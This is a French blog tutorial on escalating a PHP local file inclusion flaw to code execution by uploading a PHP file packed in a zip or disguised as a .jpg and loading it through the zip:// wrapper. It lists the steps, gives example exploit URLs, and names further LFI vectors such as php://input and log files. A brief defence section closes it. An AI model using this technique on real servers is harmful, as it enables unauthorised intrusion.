Exploiter une vulnérabilité LFI sur un serveur php pour exécuter du code (RCE) avec un fichier zip

Voici un astuce pour exploiter une vulnérabilité d’inclusion de fichiers LFI (local file inclusion) sur un serveur PHP qui vous permet de téléverser des fichiers. Il arrive souvent que certains types de fichiers sont bloqués pour le téléversement. Il faut donc trouver des solutions pour l’exploitation. Voici donc comment exploiter php avec un fichier zip.

  • Se créer un fichier php avec du code (rce.php)
  • Compresser ce fichier dans un archive zip (file.zip)
  • Téléverser ce fichier sur le serveur via un script trouvé sur le serveur
  • Utiliser le RCE avec http://127.0.0.1/vuln.php?page=zip://path/file.zip%23rce.php

Exemple de fichiers php (payload)

<?php phpinfo(); ?>
liste avec étapes à suivre pour exploiter une vulnérabilité LFI dans PHP avec la méthode zip

Comment exploiter si un fichier zip n’est pas autorisé

Vous pouvez bien sûr recommer le fichier en .jpg si le serveur n’accepte que des jpg -> http://127.0.0.1/vuln.php?page=zip://avatars/myavi.jpg%23rce (chemin relatif) ou http://127.0.0.1/vuln.php?page=zip:///Library/WebServer/Documents/avatars/myavi.jpg%23rce (chemin complet)

À noter que le script va ajouter .php automatiquement -> rce.php

Voilà! C’était ma méthode pour exploiter php avec un fichier zip. Je vous recommande la lecture de mon article sur les vulnérabilités d’inclusion de fichier local et distant (LFI et RFI) pour une meilleure compréhension globale.

Comment se défendre

Les vulnérabilités de type LFI (Local File Inclusion) sur un serveur en PHP permettent à un attaquant d’accéder à des fichiers locaux du serveur en exploitant des erreurs de configuration de l’application ou des vulnérabilités dans le code PHP. En utilisant des techniques telles que l’inclusion de chemin relatif ou absolu, les attaquants peuvent accéder à des fichiers sensibles tels que des fichiers de configuration, des fichiers de sauvegarde ou même des fichiers système, ce qui peut entraîner une compromission complète du serveur. Pour protéger contre ces vulnérabilités, il est important de mettre en place des mesures de sécurité telles que la validation stricte des entrées utilisateur, la configuration correcte de l’application et la limitation des droits d’accès aux fichiers et dossiers du serveur.

Autres ressources

RFI/LFI payload list

Outil pour le scan et l’exploitation des vulnérabilités LFI avec différentes méthodes d’attaques LFISuite

  • /proc/self/neviron
  • php://input
  • journaux d’accès (log)

Leave a Reply